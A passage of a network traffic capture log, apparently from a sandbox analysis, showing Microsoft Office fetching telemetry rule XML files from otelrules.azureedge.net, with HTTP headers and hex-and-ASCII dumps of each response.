2024-10-24 20:09:50 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 31e4fe8c-301e-0033-38f2-21fa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-16849878b78c5zx4gw8tcga1b4000000081g00000000kmek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 39bddf94-501e-0016-02f5-24181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200949Z-r197bdfb6b4gx6v9pg74w9f47s000000015g000000015awf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:49 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 432a0cec-a01e-0098-6be6-258556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200950Z-r197bdfb6b42sc4ddemybqpm140000000q7g00000000af3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:50 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200950Z-16849878b78k8q5pxkgux3mbgg000000085g00000000akmr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:50 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:50 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 53cb03fc-601e-0084-2ff2-246b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200950Z-r197bdfb6b429k2s6br3k49qn400000005kg00000000b6cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:50 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:50 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 7d0fe5a3-d01e-0049-4537-26e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200950Z-r197bdfb6b4k6h5jmacuw3pcw800000000kg00000000sc1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:50 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:50 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 094c1a0f-c01e-0066-77f2-24a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200950Z-15b8d89586ffsjj9qb0gmb1stn00000003pg00000000dbw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:50 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:50 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:50 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a2099384-101e-008d-760b-2292e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200950Z-16849878b78j5kdg3dndgqw0vg000000014000000000t9ba x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:50 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:51 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:51 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 654233af-a01e-001e-0b27-2149ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200951Z-16849878b78c2tmb7nhatnd68s0000000880000000007xyv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:51 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:51 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:51 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 2192cf97-401e-0016-59aa-2153e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200951Z-16849878b788tnsxzb2smucwdc000000084000000000tatw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 20:09:51 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:51 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 20:09:51 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:51 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6ac6ea93-701e-0001-1898-25b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T200951Z-15b8d89586ff5l62aha9080wv000000000r000000000kmf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 20:09:51 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 